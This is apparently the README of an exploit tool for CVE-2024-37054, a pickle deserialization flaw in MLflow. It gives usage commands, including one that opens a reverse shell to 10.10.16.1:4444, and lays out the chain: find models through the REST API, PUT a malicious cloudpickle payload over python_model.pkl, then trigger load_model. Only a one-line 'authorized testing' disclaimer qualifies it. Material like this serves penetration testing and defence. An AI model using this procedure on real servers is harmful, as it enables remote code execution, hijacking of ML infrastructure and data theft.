
CVE-2024-37054 exploit and documentation
Severity: Critical
Affected: MLflow 0.9.0 – 2.14.1
Type: Arbitrary code execution via Python pickle deserialization
mlflow.pyfunc.load_model() deserializes python_model.pkl from the artifact store without any sanitization. An attacker who can reach the MLflow artifacts REST API can overwrite that file with a malicious pickle, which executes arbitrary OS commands the next time the model is loaded.
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search to find a model and its run_id / experiment_idPUT a malicious cloudpickle payload to /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() on that model unpickles the payload and executes the commandThe trigger step requires an application endpoint that loads the model. If none is known, use --no-trigger (or omit --trigger-url) and trigger loading through any available means.
For authorized penetration testing and educational purposes only.
| Flag | Description |
|---|
--mlflow URL | MLflow tracking server base URL (required) |
--model NAME | Registered model name — auto-selects first if omitted |
--version N | Model version — defaults to latest |
--user / --pass | HTTP Basic Auth credentials for MLflow |
--run-id / --exp-id | Bypass model discovery with known IDs |
--trigger-url URL | App endpoint that calls load_model() — omit to upload only |
--session COOKIE | Session cookie sent with the trigger request |